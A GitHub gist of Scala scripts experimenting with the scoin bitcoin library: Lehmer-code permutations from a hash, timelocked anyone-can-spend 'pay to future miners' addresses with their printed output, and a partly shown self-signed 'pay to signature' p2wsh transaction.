Skip to content

Instantly share code, notes, and snippets.

@VzxPLnHqr
Last active October 29, 2023 05:45
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save VzxPLnHqr/acc4fd4ee399196e7723a7d36a90834b to your computer and use it in GitHub Desktop.
Save VzxPLnHqr/acc4fd4ee399196e7723a7d36a90834b to your computer and use it in GitHub Desktop.
scoin experiments and examples

scoin examples and experiments

Various experiments with scoin, a simple bitcoin library for scala.

The .sc script files here are scala scripts and can be executed by a utility known as scala-cli.

The easiest way to run one of the scripts is to use the Nix package manager to get scala-cli in your path:

  1. nix-shell -p scala-cli
  2. scala-cli run <filename>.sc

favorites

  1. Demonstrating the SIGHASH_SINGLE "bug" - dangerous signature results in stolen sats
  2. Demo of a "pay to signature" output - uses public key recovery to self-sign the spending transaction
  3. Naive lattice hash implementation - to see what it might take to implement this in bitcoin script
  4. Lehmer codes and permutations - how to turn the output of a hash function into a permutation of N objects
  5. Naive Pedersen commitment - a simple building block for zero knowledge proofs
  6. Pay to Future Miners - some pay2wsh addresses spendable only by future miners
//> using lib "com.fiatjaf::scoin:0.7.0"
// https://en.wikipedia.org/wiki/Factorial_number_system
// https://en.wikipedia.org/wiki/Lehmer_code
def lehmerCode(sigma: List[Int]):List[Int] = {
def inner(accum: List[Int],remaining:List[Int]): List[Int] = {
if( remaining.isEmpty )
accum
else {
val i = remaining.head
inner(accum.appended(i), remaining.drop(1).map(j => if(j > i) j-1 else j))
}
}
inner(List(),sigma)
}
def permutationFromLehmerCode(code: List[Int]): List[Int] = {
def inner(accum: List[Int], remaining: List[Int]): List[Int] = {
if( remaining.isEmpty ) accum else {
val i = remaining.head
inner(accum.map(j => if(j >= i) j+1 else j).appended(i), remaining.drop(1))
}
}
inner(List(),code.reverse).reverse
}
def fac(x: BigInt): BigInt = if( x == 0 ) 1 else x*fac(x-1)
def lehmerCodeToBigInt(code: List[Int]): BigInt = code.reverse.zipWithIndex.foldLeft(BigInt(0)){ case (accum,(elem,i)) => accum + fac(i)*BigInt(elem) }
def bigIntToLehmerCode(x: BigInt): List[Int] = {
def inner(accum: List[Int], dividend: BigInt, divisor: Int): List[Int] = {
val (quotient,remainder) = dividend /% divisor
if( quotient == 0 )
remainder.toInt :: accum
else
inner(remainder.toInt :: accum, quotient, divisor+1)
}
inner(List(),x,1)
}
// now to demonstrate how to choose a pseudorandom shuffle of 36 objects
import scoin.Crypto.sha256, scodec.bits.ByteVector
// seed string of "0,1,2,3,4...,33,34,35" seems as NUMS (nothing up my sleeve)
// as anything else.
val seedString = (0 to 35).mkString(",")
println(s"using seed string $seedString")
// hash it
val rand256hex = sha256(ByteVector(seedString.getBytes)).toHex
println(s"hash of seed string: $rand256hex")
// modulo 36!
val randBigInt = BigInt(rand256hex,16).mod(fac(36))
println(s"the hash taken as integer mod 36!: $randBigInt")
// get the lehmer code
val randLehmerCode = bigIntToLehmerCode(randBigInt)
println(s"lehmer code of the permutation: $randLehmerCode")
// construct the permutation
val randPermutation = permutationFromLehmerCode(randLehmerCode)
println(s"random permutation: $randPermutation")
// convert the permutation back to lehmer code back to bigint
assert(lehmerCodeToBigInt(lehmerCode(randPermutation)) == randBigInt)
/**
* program output:
using seed string 0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35
hash of seed string: 5e2c02ecf4bb255d01fa277f7d5c763804f7073513b123e9ca85262fabf8beb0
the hash taken as integer mod 36!: 203322210859758711402029686206530942713520
lehmer code of the permutation: List(19, 23, 23, 8, 27, 6, 18, 4, 4, 18, 0, 22, 9, 10, 10, 8, 4, 15, 5, 5, 14, 4, 5, 5, 2, 5, 3, 1, 2, 0, 0, 3, 1, 1, 0, 0)
random permutation: List(19, 24, 25, 8, 31, 6, 21, 4, 5, 26, 0, 33, 14, 16, 17, 13, 9, 30, 11, 12, 34, 10, 18, 20, 3, 23, 15, 2, 22, 1, 7, 32, 28, 29, 27, 35)
*/
// more simple tests:
// demonstrate the bijection
assert(permutationFromLehmerCode(lehmerCode(List(1,5,0,6,3,4,2))) == List(1,5,0,6,3,4,2))
// 0,1,2,3...51 has lehmer code of 52 zeros
assert(lehmerCode((0 to 51).toList) == List.fill(52)(0))
// given an integer in base 10, what is its lehmercode?
assert(bigIntToLehmerCode(463) == List(3,4,1,0,1,0))
//> using lib "com.fiatjaf::scoin:0.7.0"
// note: the above is using my local fork
// 9b973ab (HEAD -> fix-pay2wpkh, origin/fix-pay2wpkh)
// it includes a couple fixes not yet in the published release of fiatjaf/scoin
/**
* Generate a bunch of ANYONE_CAN_SPEND addresses (segwit v0, pay2wsh)
* such that any funds sent to the address are locked
* until a specified block height.
*
* Once the bitcoin blockchain reaches the specified block height, any miner
* can spend the output.
*
* In this manner one can "pay future miners."
*
*/
import scoin.*
import scala.util.chaining.*
val currentBlockHeight = 814327
// in the current calendar year (2023), what is the current day number?
val daysRemainingIn2023 = 64
// estimated final 2023 block number (144 blocks per day)
val endOf2023EstimatedBlockNumber = daysRemainingIn2023*144 + currentBlockHeight
def pay2blockheight(height: Int): List[ScriptElt] =
OP_PUSHDATA(Script.encodeNumber(height)) :: OP_CHECKLOCKTIMEVERIFY :: Nil
def addressSegwitV0(height: Int): String =
Bech32.encodeWitnessAddress(
hrp = "bc",
witnessVersion = 0.toByte,
pay2blockheight(height).pipe(Script.write).pipe(Crypto.sha256).bytes
)
List.range(start = 2023, end = 2160, step = 1).zipWithIndex.map {
case (year, index) =>
val height = endOf2023EstimatedBlockNumber + index*144*365
s"block number $height (approximately end of year $year): ${addressSegwitV0(height)}"
}.foreach(println)
/**
* Output:
block number 823543 (approximately end of year 2023): bc1q6z6l43zpgqgqmkzjqpw5kwv027ndxyqayjwjcev797j0tycympssvw2c4q
block number 876103 (approximately end of year 2024): bc1qck353fyuzzsa35axsfham3xet4skqyckep2xdd0ztgycz83xyc6ss8anry
block number 928663 (approximately end of year 2025): bc1q4gl842afm39uye36cj3z2sqq39z6uuegv4neptegecedtznxg82qgzcnd8
block number 981223 (approximately end of year 2026): bc1qjuz57qscdd2wnreext0rrc5ettyz33vgjnstkkclsx6te0f27zqq4aajsc
block number 1033783 (approximately end of year 2027): bc1qcv2kdr7kt8gw0mytgn82dwmzyy476yczft3we9g0ptlu9h0v48nsu39j05
block number 1086343 (approximately end of year 2028): bc1qdp2zm8gp3y29jxzd3k0ze38zwk7efvlyqtz3rg8qsm8czu4jegvq07w0gm
block number 1138903 (approximately end of year 2029): bc1q6gggg7snwx0etvh6vwtmr8jmmy0aguhqtewujpyq4t2kdl07aqfslxaljt
block number 1191463 (approximately end of year 2030): bc1qlaeqkys70cukm73x9at08h0sylaw72q57du6xpq3yn63kt6a7p5qs3dxdj
block number 1244023 (approximately end of year 2031): bc1qslj8drgq3hr7zuac7d8q8lu5yuh48kngtj9zzyye5q3ehmde6pys9xjvwa
block number 1296583 (approximately end of year 2032): bc1q8q9j90yk57dkxh6fl5kj4qx0x5kje3ta0ukerkccv6gczaqaaams62jy69
block number 1349143 (approximately end of year 2033): bc1qwlatmdcecd95ll27a85298pz7wuc0dhn8uexz5w0s5wdnmt66ueqcv5zec
block number 1401703 (approximately end of year 2034): bc1qk27r5v0uwq0nnzqehmepgwzw4mcvhfyrle5va75ve7wnl3kw6vvqv7at2c
block number 1454263 (approximately end of year 2035): bc1qaq56pu7zfyhrtzy0yl7e0lmmaladwjmmp9k7zhwntjlm4wr8388qnt4l2w
block number 1506823 (approximately end of year 2036): bc1qdrf4dw6ta5fxgk3p64k3h7eq2ujau66mhypmgw8j92nxadnvvfyqgmww3m
block number 1559383 (approximately end of year 2037): bc1qzksvmsw9dt3hzxk4ense3akue7jx3pllncwp74ue7k57wftrx8ms0nrkmm
block number 1611943 (approximately end of year 2038): bc1q3a6q35ckemga7yncmjdgnq7h2mdm23usjylj4lzdentfuj4tlkvq5zn2tu
block number 1664503 (approximately end of year 2039): bc1q0jncvdh60hd79a3uwac4nqhcrn4equnntl3gs69xguahm6gqc5cqtmrhfd
block number 1717063 (approximately end of year 2040): bc1q4qvdj4pteelk2mhx2esypz7lwxg7gdq9htry757c3gck6drcqvrsgzw9lq
block number 1769623 (approximately end of year 2041): bc1qlc4df49u36ulj4g4qcvymz8rgd3gmgedtku4034he6jhpw44cmuq5ke8sp
block number 1822183 (approximately end of year 2042): bc1q6pw4s3vzhv77jqgfvrs2smq92dfnm5zv6ekhnd9ammkfdg9ja8mszwtywc
block number 1874743 (approximately end of year 2043): bc1qyem50fam5fn90pq3mxu4vrhzneug74xy4ffxe48xejm3ch7jzanqh8s2pn
block number 1927303 (approximately end of year 2044): bc1qjhx5ym3pg7rq3cm79jsnau8udgv03vyx663vuwlmhxwjg8mhv89q9tz9fy
block number 1979863 (approximately end of year 2045): bc1qca2eqqt9aet9zvx8ynu77zsrwmclqc4c3g97t5hjpag3n3lmpe2qtrvekk
block number 2032423 (approximately end of year 2046): bc1qz3yf93u865stc8627hn2psxup54dthzx4qlvjthcw0exj2sp25aqpcs5vt
block number 2084983 (approximately end of year 2047): bc1quwrtf3xvnw5wr95gdrl84h02n02gh7hed2jv67wjgt5x87gg4dlss2l5ln
block number 2137543 (approximately end of year 2048): bc1qty9przqpppasczpqdju9sw943q2dck0p23hs86rcl4dqa2lnzgfspaxql3
block number 2190103 (approximately end of year 2049): bc1qlqdvwm5xdcph5ljwqsvtzmv9qvskqzkpwxs34f58j6lmf43t5nts2cx8n2
block number 2242663 (approximately end of year 2050): bc1qjjjrvcjkn0ujhzlfe35xvkwy7k5sv2c89vdwv6nqg2q6l6rhwu8qzd47gl
block number 2295223 (approximately end of year 2051): bc1qkhhc5sfemq9ddyqzk7rzelg8wt7smv9fvc6xqgp767dadd5zuahq8j5ev7
block number 2347783 (approximately end of year 2052): bc1qzu3gcqm2hf4erap90j2a7p2ug7gajk2jd737esmr4e6l9q7r7a3qlrhyhx
block number 2400343 (approximately end of year 2053): bc1q2s8gh5e3ndvqj8y4gcp4r4vuukee0c7hgz8dlc6cje2fc3pqjgxsw6h5ed
block number 2452903 (approximately end of year 2054): bc1qslvumlvav3ergzlwsxs9p3m5j58vwe7zw87sk7hwz6zrvwfz220q4srjnq
block number 2505463 (approximately end of year 2055): bc1q0kyfnfp6ult2n8fan6datd7ufdkm2wxwnzd9axscwlc2vxz5rp0sgkkjur
block number 2558023 (approximately end of year 2056): bc1qp4mh6mhm6q5x5yjyh6tae9420qkq69wahpws7lk59m30jkzlmvks372r6s
block number 2610583 (approximately end of year 2057): bc1qxqawf8ezxcqfeus2zk4xewudhllryv00gdmar7yudddq8h0g9j9sqagfvj
block number 2663143 (approximately end of year 2058): bc1q9ej4f3av0gk2rs480ph3t7t0nwktzzx9wceph6u58dlkpx8yp74swwup3t
block number 2715703 (approximately end of year 2059): bc1qne5nlv00uzj8d644524cd3cxym3wsmw474ygdp6nr4pu07uptfpsvss0ja
block number 2768263 (approximately end of year 2060): bc1qkrdy0sax8s02a4khpwhyhl7n2g0txnr907fhlz35mwvwwvm6gxfs597cvd
block number 2820823 (approximately end of year 2061): bc1qkz7htvhk4xunnhnu9209a7y5aw3ax240mg9ehp2w29tv5zgdw0sssfaqpa
block number 2873383 (approximately end of year 2062): bc1q9kwrg3ur7cm8kjmvqp9s6q6r4v62l5certd955lskewtj3ccuanq4rp6z4
block number 2925943 (approximately end of year 2063): bc1qng0xqwdq9rhny7s6rvum7e9z7sh42jswv5z9drjcfs0nxksdu5fszh2jkf
block number 2978503 (approximately end of year 2064): bc1qe90xru0gedewahneylm4gqp0cdlvdrv0rfkzvjkm4hp6ukxesths8vj47z
block number 3031063 (approximately end of year 2065): bc1q8zddngswzmp8y5e6u9ll38gda2ene5za0s0vm7qp5elnyr0zt58qdfy3vg
block number 3083623 (approximately end of year 2066): bc1qs40l8zq2alzll8swqkjpd0x3pgnvxd0xathd84wte76qdztdn5ms0klata
block number 3136183 (approximately end of year 2067): bc1qwvcyuwxwz96gs76zsks7ypxg8k7d5a7kts7gzyatn2ayyf72shrq3wr275
block number 3188743 (approximately end of year 2068): bc1q9hfwe2k33g7m0ayjd9r6lp2gj0va3zkzzt8tg9kdx7ec6tzk0wqqr6lt6x
block number 3241303 (approximately end of year 2069): bc1qhz2uecad7uvu5u5em57kfxmetcw6l3nzzrlqw8ha4vaw7mwhez4sn45nwe
block number 3293863 (approximately end of year 2070): bc1q6sq9rgrv30k97wf03tezpmktzqffsrm44enhc7w3678eqgeejyhqsadrm2
block number 3346423 (approximately end of year 2071): bc1qhxfrfu4vvujnt2n8pm6ana3j2exlk4smkmy3ppn4fx6ume4hechsnqn5ux
block number 3398983 (approximately end of year 2072): bc1qjxuln3c4s2peysx63x9x3xeqxw94xkn874m9gkvdg4dmj3lz39fs347fw4
block number 3451543 (approximately end of year 2073): bc1q3mcw4swxgszw4hkmhxjq8rlana4dxtq79hxzhafzejdk060e95ksnnh203
block number 3504103 (approximately end of year 2074): bc1qljskpnmd6r8ahugsprjn4vf5ym7tangxkp6ehxph8dnk07td0hwqazk7mq
block number 3556663 (approximately end of year 2075): bc1q85p86n4z9zxj7k7szvd4alju9h98psh2fksly80nxgzjp54ayy2q0have9
block number 3609223 (approximately end of year 2076): bc1q20g5ntd9y5swt96gl2m5hwgc554gwgxckh0mwuzk3f2l2vv3p9ns29v62v
block number 3661783 (approximately end of year 2077): bc1q0f0nf72nq5qsswqc275ufe8r36rc43ak2wgr552lm2vgg7mmqq9s0000a8
block number 3714343 (approximately end of year 2078): bc1qxqctm6w8ra5rzdue32xr037n8es60gkyfqvvzpvzd9ln9fwq57zsdzw4ge
block number 3766903 (approximately end of year 2079): bc1qtay36ep6msxxuuxz3wfshqj3wc9mzelv4r5a4tdzdjef2kh9kj2qd3tf3f
block number 3819463 (approximately end of year 2080): bc1qxc3qvp443je4s5er9vh3ad8zed68x89nlamkcyu24h8ugam3k5fqwxv7uf
block number 3872023 (approximately end of year 2081): bc1q3tpjuyyj7e9r3eu7ufz8gu0hrgx3qeuzqppjauufpp8s9ez0ucdqv8nkwj
block number 3924583 (approximately end of year 2082): bc1qzjv5emk42f6xdcee422lfhpux7jupev8yum2kvzfgac4n2elsaxqzw6huq
block number 3977143 (approximately end of year 2083): bc1qcwp432q6gr4ypk0wg2xaan7ajvrxv8dt2vagjxhgwnjma8znhzrs4daunj
block number 4029703 (approximately end of year 2084): bc1qca7fkn7sqacmkelwzka5yfqfzlvxzvy6ykwl7yv7eze62xnyee7q4vs9mv
block number 4082263 (approximately end of year 2085): bc1qaayvz8q2hwgqt8assfw9mljqqa4peqy2n6j5y3vu0af2nwgq3wcq6acha4
block number 4134823 (approximately end of year 2086): bc1qrad74c5qjgdx7zctxnqmrdalr8yrxf3y6rxeuln3lfn2748th4msmw2ced
block number 4187383 (approximately end of year 2087): bc1qctvct2dhuyxh5ug302c65fewv8xnms6e47z53plxkmlmtm9lsu0sj6crza
block number 4239943 (approximately end of year 2088): bc1qsmykwvar38vcqkm2axlp9uh2ck8apnntl9re5fr2uejadslzu58sftu6x6
block number 4292503 (approximately end of year 2089): bc1qaraf907uwg0zg0wme83tl96n9ksqm9u8shrzppnya2wxch2aw2ms8cs6dj
block number 4345063 (approximately end of year 2090): bc1qlqmgclvc9jwfc68uuqp4guwfm9cu4nz0cdwgelsmcc6j98h5pwyqqkj4hp
block number 4397623 (approximately end of year 2091): bc1qazrcy32flz0qmwdlv55yw3gkchkz7s5mr86kyrr2r3zs6ck09dkqerdp7q
block number 4450183 (approximately end of year 2092): bc1q8wtywfr80chmgwra58ue80sffpnpp8a4uudq35y4lhw7p3knhc3qqjtwvc
block number 4502743 (approximately end of year 2093): bc1q7wqs3g62l0tu2s4fya4u9dykrcyk4l2xux0g6cxn95ghq7mgjr3szqwwf3
block number 4555303 (approximately end of year 2094): bc1qnnqjfpg8cu0jx9me0djs03dkytetfaawg20n5h92rsg6azyrk4dquhfqdd
block number 4607863 (approximately end of year 2095): bc1q3u4mytedhkzwm32slgmzav5usc0hneckvyxpl98j7h46k9rd69asec52d8
block number 4660423 (approximately end of year 2096): bc1qdzv0tz6y7jsnwp7r8snpwyjjl9qwdnzrl9atkt5ez64rcl0zjfasdjh7jf
block number 4712983 (approximately end of year 2097): bc1qqg67g6phec5d57w7l280ns86hdzxcrwwytwkf8r84xszwqjcmavsy0agcx
block number 4765543 (approximately end of year 2098): bc1qxlxramlzsvpwx9crzxkwasxxxgcrujg83f9kw9qknhg8jcccn72sxzvt0z
block number 4818103 (approximately end of year 2099): bc1q9eeglxw7h22q9x3uve0eda9q24lusgh7f8nq8mxast5cyqmtj0ssazf3nj
block number 4870663 (approximately end of year 2100): bc1quhwvkncjrnl6dtntxq76wfgktghl4zkhxpac46qf9vjj4s07mf4qumwgx8
block number 4923223 (approximately end of year 2101): bc1qr6g8vdkgcugqvy6e2zf4ycp6qqu3mpc85a5yurp746qvrq95fkgs222yzs
block number 4975783 (approximately end of year 2102): bc1qa8c9kqlt6vjgcjaq9mccxc6h8v5ymhmfej39ppwfjkunws49l5as7hrh20
block number 5028343 (approximately end of year 2103): bc1qyg4t90dajunv7pj245wlp7gnuuqhpfqjr60tjs2uy5g58t93s96qm0vm56
block number 5080903 (approximately end of year 2104): bc1q66h43hpqldevn4cpc3asdqyrrlqy35gfcmeqhv8epr70mu2yvxesw8z20m
block number 5133463 (approximately end of year 2105): bc1q63mhqjqc3cfd8h0mz5t0vtaya47t42hpk4axh7ujq93x9tqnwlysvewx22
block number 5186023 (approximately end of year 2106): bc1qj9vqwuja936xpwzvrzq8vnvxv7d6r3mjyq5xaj68pwmwugmh4d7q6nt9dh
block number 5238583 (approximately end of year 2107): bc1qryp86crpefk40vjtrsh83c5ak65msl665et3jahjl48krp385ngsl24j8d
block number 5291143 (approximately end of year 2108): bc1qera7a3xxxns8whur9xk8ms6xxwqdunca906dpc8e46t04ht58g8shl5hle
block number 5343703 (approximately end of year 2109): bc1quwkm2j6exylv8r2u08dzln9d7jsp0hu4lz4qc6nv3pngcm2elt5q07xnzv
block number 5396263 (approximately end of year 2110): bc1q4c7hmwgxtaxzqnylvdcvjv2nntwzh2g9fw8ksfp2r4l77vrmyjesrhp0el
block number 5448823 (approximately end of year 2111): bc1qqamn65zdclekk6v3j3lurc6skx4qc6krm4wn03zmecr8kalpgngsyjhlau
block number 5501383 (approximately end of year 2112): bc1qpdm487wwsvpra7le3j3pt85xnmlxxn2lw95hu90ahp3m2qgxcxnsnw8wn9
block number 5553943 (approximately end of year 2113): bc1qwk6me4almpexnc0ape3y0gp745y2scnpxmjxy9rrfp9t66ug324sn9f3cl
block number 5606503 (approximately end of year 2114): bc1qkzrr5ut6gyjzxlvyjhezsefzwpz0yvu6x58w7hrrc63ren4m8rtqstkejl
block number 5659063 (approximately end of year 2115): bc1qg35cstqhmyqy03d0xkl44eny66d9jdrkqkmmxm0jmlyp39uchvpspnxd68
block number 5711623 (approximately end of year 2116): bc1q355f83drm67s2fp0sdadj67dzp8pze3w2hhj0n358u0ftdccx0nqderddf
block number 5764183 (approximately end of year 2117): bc1qhgdy07vf9ledyw53dsum4xhu23xtp4ktrkk75jx4ssa0egmegr9q0dfc95
block number 5816743 (approximately end of year 2118): bc1qxvud4snce46nermkgtl2t5trtwdw3ufard9mymakgz9m6r9gjrwqwd9ltq
block number 5869303 (approximately end of year 2119): bc1q2geju2mck29qkn0hfffe274gwx9k9ukxapvtknratlzyjm2r2neswfjxyu
block number 5921863 (approximately end of year 2120): bc1q6qx8fkqd4qndm7wc9740jqdj70spqkl68t35p3en08ryl7gj5v2qz4dq53
block number 5974423 (approximately end of year 2121): bc1qzc3sx0tq82c4apg7als8xw60cr86z0xmf0asw9kyypnfd2ddq0lsadfunm
block number 6026983 (approximately end of year 2122): bc1qzd8pwp00c7qn4gyxchk0n8l9ghplxtyhelf56unrfpmenhjzr5yqu30zp8
block number 6079543 (approximately end of year 2123): bc1qhz0gy2sa7zlegzc8k57qh49zdh8vexh2f0z6t78tuppfpt5wqfcqh0qzq2
block number 6132103 (approximately end of year 2124): bc1qd0dw83rytpra234ujuy09uf0v5cla4wzv50wu2whrde8zzj4487s8g9d7d
block number 6184663 (approximately end of year 2125): bc1qdrdlrflq8laxz33qq395zvn5w8ec4spv5c8v85uhwsjsswne8u6qvueqvf
block number 6237223 (approximately end of year 2126): bc1q5kv3v2yjc88ew6laxg77yasy6709u78hmc086vu3mvc4epealewqz6twh0
block number 6289783 (approximately end of year 2127): bc1qrenr67cx3kwnj93csjc6twymcngpcl6vys2rrsmwz89st220vslsen7yq4
block number 6342343 (approximately end of year 2128): bc1q7tskwqylpdzyskcc67q98uc6kps00tcffg0q5hxfgsptn4dkmntqk4vyqx
block number 6394903 (approximately end of year 2129): bc1qflueq499eramxxknakmxrjqwmnxhrwrnq3mxpy67edm3hzp047csnkspy5
block number 6447463 (approximately end of year 2130): bc1qlcfm3rrfr0rnl6lfw9f6yhf8576rcd4u365fsgjfsx5q3jyk3lsqp25hlm
block number 6500023 (approximately end of year 2131): bc1qlzvnw029qn6nzqc7jasfx3x2vmmm5acz2zw8u9qx0yvwglplwyqsep70wh
block number 6552583 (approximately end of year 2132): bc1qs0hg3qn8znztax2ryjlr7cyzs3k3jaugsptajhhd859gkghuwa5q5t20ct
block number 6605143 (approximately end of year 2133): bc1q26n2e3rm4r9m3cputx7t8wmd9yvjs699ea9x6p069cdj069danps25fhhg
block number 6657703 (approximately end of year 2134): bc1qp000a90gjel0nn6ka2t90afv83vd7e9v7823tmfklkuy5q3mxzlq99s5fx
block number 6710263 (approximately end of year 2135): bc1qv9c06xz9d0hlawfaz9zdysay4t78ku8f67qqwt6kc2xtw56y5gksmzx8c2
block number 6762823 (approximately end of year 2136): bc1q437fwp70ly2evp54zmw7x03glarn44kv8ncjgd7lhfagdl2xfjqqtfz62s
block number 6815383 (approximately end of year 2137): bc1qvpluyje6tpd9rsw0q7c86mj2qkx66k3jctp765utl7n7vjlwjzzsnquj25
block number 6867943 (approximately end of year 2138): bc1q8d8gtw9a0dm29w0dw2rg689z9ru38tna39mz8l9hdukxdmluyfssx43klq
block number 6920503 (approximately end of year 2139): bc1qguvczvhtjd7aj3m6w75zwmmn27kh8wzsm333ue6sngf9zt3scdyqejtnwg
block number 6973063 (approximately end of year 2140): bc1qmqckte0sfhh8xyc6v7zswrs5mpjrrf2f5frwe2yz68lyy253m7qshzrdqn
block number 7025623 (approximately end of year 2141): bc1que50q4j3rkz782y8m8s6xqzra32j8qmf0tsxaltlhayy6jr68phqekpu4r
block number 7078183 (approximately end of year 2142): bc1qxfagwc0v0gytcjy7zmq6wr73fndk7ltevwmak97xyd07q6fru8hs5vufs7
block number 7130743 (approximately end of year 2143): bc1q4ldz0stpet6qf0qzdqqswrhuhhw0hyj6ezxskh3q0785cwypn3kqmd6q42
block number 7183303 (approximately end of year 2144): bc1q7yvzu937xx4j5jvrr08qxu9ut9jmx82nk3qhltjk0tjt6qk7rkgs55s0eg
block number 7235863 (approximately end of year 2145): bc1qdhwu4x34z3yksq4ca4fnf2d7hp2nw3d8ne6va25j36f5p4u7kk0stm74ca
block number 7288423 (approximately end of year 2146): bc1qkwsj47mucut9cvcf66lwn8tzc75lzz2wdagqnzsl0vd0huee5ktqma3cke
block number 7340983 (approximately end of year 2147): bc1qw99zdp6z7xsxdk40lgu56582s8n5vhmga5hw5kzrtmq73v7r5weq4rw3p9
block number 7393543 (approximately end of year 2148): bc1qp7dc8849nkcpz35pmlj5a7tk6tj0r4t5yee8j8cr4fuqehxx5gyq547tzs
block number 7446103 (approximately end of year 2149): bc1qpaqd826nsdm503t3wv6pf0dfgy9f3adrpj865e3euqayp35443zq7es949
block number 7498663 (approximately end of year 2150): bc1qax770e6u4x08nhslue3chy4wtxt5rcll53542smk4qcwsyvzuk5qwcne09
block number 7551223 (approximately end of year 2151): bc1qqk4zw2652k5vg3ujxnndwc2ljphkjdgrl7u4k8p47dvm89wgga8qfsvs2z
block number 7603783 (approximately end of year 2152): bc1qzstkpf9pdqzvtpfr4v6mtkh3j4ssy7cyrmtlak223fga0yf4d94qttfujz
block number 7656343 (approximately end of year 2153): bc1qfkjyaezp03lnn85f42hp8zs0449zn0z7m0wsfxcyz6a6l7tt8wusenqycp
block number 7708903 (approximately end of year 2154): bc1ql2ycs7gudtcjpmajggkq2xzl6y34dheurgnd8ypaj33clhuahgzsz3ewl8
block number 7761463 (approximately end of year 2155): bc1qu9p2ydctxnvvjaektpqx5emfusez7343f68gu0hdfsr6r8ec993qe3k5m0
block number 7814023 (approximately end of year 2156): bc1qaqs0sc7d2a70737kmsv369zefmrr4jp9wn0xt4z6a4spd65c5d6s6d5q90
block number 7866583 (approximately end of year 2157): bc1qv2k3p0dt5kdj5qdeslqhzkk0cl4jf09f7tyd72tuhv50ancqqgrsntcejk
block number 7919143 (approximately end of year 2158): bc1q63s3y5c0d2fw32w9fkp7dzwfk3srz5u25t9dez4uea3uz0wh6lwqe5wumm
block number 7971703 (approximately end of year 2159): bc1qulvu323repmtena46snlem2md35qj2gn7t7etnjr3lqmsw0l7a0sdlqum3
*/
//> using lib "com.fiatjaf::scoin:0.6.1"
// the above is using my local fork, not the published release
// the below code is basically a rewrite of https://gist.github.com/fivepiece/f39de978f5fb94b08b54f33db5e42d9a
// but it has been updated for segwit (uses a pay2wsh output)
import scoin._
import scodec.bits._
import Crypto._
/**
* self signed signature in a bitcoin transaction
variables:
n - ecc group order of curve secp256k1
p - order of finite field coefficients for curve secp256k1
*/
val n = reckless.Curve.secp256k1._n
val p = reckless.Curve.secp256k1._p
/**
P - pubkey for op_checksig
d - discrete log for P
k - nonce used in signing
R - public point, discrete log is k
r, s - signature
m - transaction sighash
1. choose k, choose s
2. calculate R = k*G
*/
/*val k = BigInt(randomBytes32().toHex,16).mod(n)
val s = {
//if our random s is bigger than n/2, then negate it
val rand = BigInt(randomBytes32().toHex,16)
if(rand > n / 2) n - rand else rand
}*/
/**
* random k: 30498392b7c2c325a6d6f85701f8dfa8a8b2b418b6d1b1f53a10f1c36f705c70
random s: 1253d0518cf46048b8b0ac6f4d63b1a2b3d633ca31439669c2aa9102fdc75e40
send funds to this p2wsh address (mainnet): bc1qks0y60s566f0q9quae8z0nqh2kekqapcm3ttrn3qefyr4hwvp8fsnptchp
*/
val k = BigInt("30498392b7c2c325a6d6f85701f8dfa8a8b2b418b6d1b1f53a10f1c36f705c70",16)
val s = BigInt("1253d0518cf46048b8b0ac6f4d63b1a2b3d633ca31439669c2aa9102fdc75e40",16)
//println("random k: " + k.toString(16))
//println("random s: " + s.toString(16))
val R = PrivateKey(k).publicKey
// 3. calculate r
// r == R.x because R.x is less than n
val r = R.toPoint.x.mod(n)
/*
4. make r,s into a proper DER ecdsa signature
5. append sighash type byte ALL ( 0x01 )
*/
val sig = signatureToDER(r,s) ++ ByteVector(SIGHASH_ALL)
println("DER signature with sighash type byte ALL (0x01) appended: " + sig.toHex)
/**
6. hash (sha256) the signature||ALL string
7. make a p2wsh address to fund
*/
val sigcommitment = sha256(sig)
println("sha256 of the signature (included in redeem script): " + sigcommitment.toHex)
val redeemscript = OP_DUP :: OP_SHA256 :: OP_PUSHDATA(sigcommitment):: OP_EQUALVERIFY :: OP_SWAP :: OP_CHECKSIG :: Nil
println("redeem script: " + redeemscript.mkString(" "))
val pubkeyscript = Script.pay2wsh(redeemscript)
println("pubkey script (p2wsh): " + pubkeyscript.mkString(" "))
val address = Bech32.encodeWitnessAddress("bc",witnessVersion = 0.toByte, data = sha256(Script.write(redeemscript)) )
println(s"send funds to this p2wsh address (mainnet): $address")
// 8. now send funds to the address just created
/*val fundingTx = Transaction(
version = 2L,
txIn = TxIn.coinbase(OP_1 :: OP_1 :: Nil) :: Nil,
txOut = TxOut(Satoshi(1000000), publicKeyScript = pubkeyscript) :: Nil,
lockTime = 0L
)*/
// first funding
// val fundingTx = Transaction.read("0200000000010187ed424448a572a07df2ba7213d3b62f0cee7ca7d33752b55125cd9eb8937d010100000000fdffffff02841c00000000000016001485dd6194ec5e9bc71bc22d08effc0ff23ceb4355222a000000000000220020b41e4d3e14d692f0141cee4e27cc1755b3607438dc56b1ce20ca483addcc09d302473044022041de8c97dce3251063ed402b4bba1c21f62db76dc6759f9c127c41ec722085eb022044b0ce7ccb7db300997dee03a4ffcb86858b6994619e45391a1d46f0f30340510121032a43069fab3c2d75ef3cf4fb6e919d25f13d0ac5434cfa25f512ae8d2cc31be9badf0b00")
// second funding
val fundingTx = Transaction.read("02000000000101b4927830529368278ec66d67c54c1232cb11f0938141b208b3feec1ead99616b0100000000ffffffff01761c000000000000220020b41e4d3e14d692f0141cee4e27cc1755b3607438dc56b1ce20ca483addcc09d3032103325a27cf5c5408277eb2ee8e8078b6b0115a9dc93eb2522ccdcc71ba44a739c4483045022100c9b23437abf4b578b177c7811028a8668017f38014cbe112a8bd26dda51216fe02201253d0518cf46048b8b0ac6f4d63b1a2b3d633ca31439669c2aa9102fdc75e40012676a820c2976863bc3d3c0f1463b9aa3c6dcad35da6013432f2a265eed7844031206f66887cac00000000")
val vout = 0
val amount = fundingTx.txOut(vout).amount
println(s"funds $amount sent in: ${fundingTx.toString}")
println(s"funding txid: ${fundingTx.txid.toHex}")
// the first output is the one we want to spend
assert(fundingTx.txOut(vout).publicKeyScript == Script.write(pubkeyscript))
assert( addressToPublicKeyScript(Block.LivenetGenesisBlock.hash, address) == pubkeyscript )
// 9. Begin assembling the redeeming transaction, using fundingTx as input
val tx = Transaction(
version = 2L,
txIn = List(
TxIn(
OutPoint(fundingTx,vout),
signatureScript = ByteVector.empty,
sequence = TxIn.SEQUENCE_FINAL
)
),
txOut = List(
TxOut(
amount - Satoshi(3500),
